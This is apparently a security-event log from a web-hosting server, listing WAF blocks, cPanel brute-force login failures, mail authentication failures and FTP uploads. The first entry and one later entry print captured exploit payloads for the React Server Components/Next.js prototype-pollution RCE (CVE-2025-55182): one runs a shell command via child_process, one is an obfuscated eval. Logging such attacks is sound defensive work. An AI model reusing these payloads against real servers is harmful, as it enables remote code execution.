IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.23
country_id: 6252001
description:
205.169.39.23 - - [13/Jun/2026:04:35:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723943&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325352 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.23


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-13 04:36:02 +0000] info [cpaneld] 157.66.56.231 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.160.252.171
country_id: 3469034
description:
[2026-06-13 04:36:11 +0000] info [cpaneld] 45.160.252.171 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.76.88.37
country_id: 1733045
description:
2026-06-13 04:37:11 H=([103.76.88.37]) [103.76.88.37]:64984 F=<info@sample.com> rejected RCPT <blakeshelton007@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.139.114.190
country_id: 3865483
description:
[2026-06-13 04:36:23 +0000] info [cpaneld] 190.139.114.190 - metaa "GET /login/?login_only=1&user=metaa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.126.121
country_id: 3895114
description:
[2026-06-13 04:36:26 +0000] info [cpaneld] 181.43.126.121 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.186.65.149
country_id: 1562822
description:
[2026-06-13 04:36:34 +0000] info [cpaneld] 14.186.65.149 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-06-13 04:36:56 dovecot_login authenticator failed for H=(nsg-corporate-50.255.186.122.airtel.in) [203.172.213.166]:44391: 535 Incorrect authentication data (set_id=backup@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.98.79
country_id: 2542007
description:
[2026-06-13 04:36:19 +0000] info [cpaneld] 105.155.98.79 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.172.213.166
country_id: 1605651
description:
Jun 13 04:36:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.172.213.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: mail.moodle.free.netmaster.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.164.119.45
country_id: 1733045
description:
115.164.119.45 - - [13/Jun/2026:04:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000281&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325564 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.5370.1632 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.164.119.45


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.13.140.187
country_id: 3175395
description:
Jun 13 04:41:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.13.140.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 04:41:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.149.230.197
country_id: 1861060
description:
180.149.230.197 - - [13/Jun/2026:04:42:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039435&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325771 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.149.230.197


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.196.18
country_id: 1269750
description:
Jun 13 04:43:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.196.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.196.18
country_id: 1269750
description:
2026-06-13 04:43:57 dovecot_plain authenticator failed for H=(daria) [152.52.196.18]:37570: 535 Incorrect authentication data (set_id=minoussa@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.201
country_id: 3175395
description:
Jun 13 04:44:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.201
country_id: 3175395
description:
Jun 13 04:44:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.12.25
country_id: 798544
description:
Jun 13 04:44:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.12.25 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 04:44:55 +0000] info [cpaneld] 36.70.11.90 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 04:49:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.214.16.83
country_id: 298795
description:
[2026-06-13 04:50:45 +0000] info [cpaneld] 81.214.16.83 - auditeccandco "GET /login/?login_only=1&user=auditeccandco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.90.156
country_id: 3895114
description:
[2026-06-13 04:51:09 +0000] info [cpaneld] 186.189.90.156 - auditecca "GET /login/?login_only=1&user=auditecca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditecca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.102.250.223
country_id: 3996063
description:
[2026-06-13 04:50:43 +0000] info [cpaneld] 201.102.250.223 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.203.42
country_id: 3658394
description:
[2026-06-13 04:51:11 +0000] info [cpaneld] 157.100.203.42 - auditecc "GET /login/?login_only=1&user=auditecc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditecc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.169.35.107
country_id: 3865483
description:
[2026-06-13 04:50:59 +0000] info [cpaneld] 152.169.35.107 - auditeccand "GET /login/?login_only=1&user=auditeccand&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccand (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.182.19.134
country_id: 3865483
description:
[2026-06-13 04:51:03 +0000] info [cpaneld] 201.182.19.134 - auditeccan "GET /login/?login_only=1&user=auditeccan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.153.62.46
country_id: 1210997
description:
[2026-06-13 04:50:54 +0000] info [cpaneld] 203.153.62.46 - auditeccandc "GET /login/?login_only=1&user=auditeccandc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.185.14.254
country_id: 3932488
description:
[2026-06-13 04:51:18 +0000] info [cpaneld] 138.185.14.254 - audite "GET /login/?login_only=1&user=audite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.124.192.168
country_id: 1512440
description:
[2026-06-13 04:51:30 +0000] info [cpaneld] 144.124.192.168 - aud "GET /login/?login_only=1&user=aud&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aud (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.139.53.80
country_id: 2017370
domain: butodra.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-53.37.139.53.80||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.65.53.161
country_id: 3017382
description:
[2026-06-13 04:56:08 +0000] info [cpaneld] 37.65.53.161 - togomedia24 "GET /login/?login_only=1&user=togomedia24&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.244.85.7
country_id: 3996063
description:
[2026-06-13 04:56:13 +0000] info [cpaneld] 148.244.85.7 - togomedia24tg "GET /login/?login_only=1&user=togomedia24tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.89.16.132
country_id: 3469034
description:
[2026-06-13 04:56:35 +0000] info [cpaneld] 189.89.16.132 - togom "GET /login/?login_only=1&user=togom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.63.185.164
country_id: 3439705
description:
[2026-06-13 04:56:45 +0000] info [cpaneld] 167.63.185.164 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.134.217.181
country_id: 1282988
description:
[2026-06-13 04:56:18 +0000] info [cpaneld] 103.134.217.181 - togomedia "GET /login/?login_only=1&user=togomedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.249.113.250
country_id: 1036973
description:
[2026-06-13 04:56:24 +0000] info [cpaneld] 197.249.113.250 - togomedi "GET /login/?login_only=1&user=togomedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.251.41
country_id: 1733045
description:
[2026-06-13 04:56:28 +0000] info [cpaneld] 27.125.251.41 - togomed "GET /login/?login_only=1&user=togomed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.19.36.142
country_id: 3996063
description:
[2026-06-13 04:56:38 +0000] info [cpaneld] 38.19.36.142 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.95.209.5
country_id: 1210997
description:
[2026-06-13 04:56:32 +0000] info [cpaneld] 103.95.209.5 - togome "GET /login/?login_only=1&user=togome&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togome (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 04:58:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.34.158
country_id: 1282988
description:
[2026-06-13 05:04:40 +0000] info [cpaneld] 111.119.34.158 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.166
country_id: 1269750
description:
Jun 13 05:04:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 05:05:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.251.210.121
country_id: 3469034
description:
[2026-06-13 05:04:29 +0000] info [cpaneld] 186.251.210.121 - arianatg "GET /login/?login_only=1&user=arianatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arianatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.140.242
country_id: 690791
description:
[2026-06-13 05:04:32 +0000] info [cpaneld] 185.244.140.242 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 05:05:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 05:07:05 +0000] info [cpaneld] 36.70.11.90 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.252
country_id: 3469034
description:
Jun 13 05:08:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.252 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 96.44.119.165
country_id: 6251999
description:
96.44.119.165 - - [13/Jun/2026:05:11:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182959&pdata=https%253A%252F%252Fdirect7.tg%252F%253Fp%253D6250&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781327489 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/?p=6250" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:96.44.119.165


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.164.183.114
country_id: 1831722
domain: relanceinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:103.164.183.114||TA:103.164.183.114||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.23.98.107
country_id: 1643084
description:
103.23.98.107 - - [13/Jun/2026:05:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854550&pdata=https%253A%252F%252Fwww.matwtogo.org%252Fprogrammes%252FForage.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781327603 HTTP/2.0" 302 0 www.matwtogo.org "https://www.matwtogo.org/programmes/Forage.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.23.98.107


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 05:14:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 05:14:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:15:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.26.241
country_id: 1527747
description:
2026-06-13 05:18:03 H=([212.241.26.241]) [212.241.26.241]:19195 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [13/Jun/2026:05:26:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116947&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcompassion-international-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781328361 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/compassion-international-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.123
country_id: 3175395
description:
Jun 13 05:25:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.132
country_id: 1269750
description:
Jun 13 05:25:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 05:28:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:32:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:33:28 ns5 pure-ftpd[2182269]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/28220-2/index.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 05:33:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: ortouche.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_9b6d99b7\":\"0dbac9d86b43dd62\",\"then\":\"$1:__proto__:then\",\"__fba78fed\":null,\"$06ee298b\":\"default\",\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var ddcf=[].slice.call(arguments,1)[0];var hsq=ddcf;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.97.67
country_id: 798544
description:
Jun 13 05:33:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.97.67 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:34:44 ns5 pure-ftpd[2183700]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/28220-2/index.php uploaded  (395320 bytes, 586.15KB/sec)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 223.123.43.70
country_id: 1168579
description:
223.123.43.70 - - [13/Jun/2026:05:33:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884841&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-200281retidm93dar.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781328824 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-200281retidm93dar.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:223.123.43.70


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:36:09 ns5 pure-ftpd[2185264]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/new.php uploaded  (16372 bytes, 72.30KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:36:28 ns5 pure-ftpd[2185891]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/new.php uploaded  (15907 bytes, 139.05KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 05:37:22 ns5 pure-ftpd[2188740]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/wp-content/28220-2/index.html uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jun 13 05:38:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [13/Jun/2026:05:44:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645194&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnsia-vie-assurances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781329442 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nsia-vie-assurances/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 05:44:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun 13 05:46:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 05:46:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [13/Jun/2026:05:47:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923942&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fridef-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781329671 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ridef-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:48:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
description:
Jun 13 05:49:45 ns5 pure-ftpd[2195805]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] Deleted //home/zmmjcejv/public_html/new.php


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.5.203
country_id: 2363686
description:
[2026-06-13 05:49:50 +0000] info [cpaneld] 196.171.5.203 - pnls "GET /cpsess7577442776/frontend/jupiter/index.html?=undefined&login=1&post_login=9400078006463 HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.133.113.84
country_id: 357994
description:
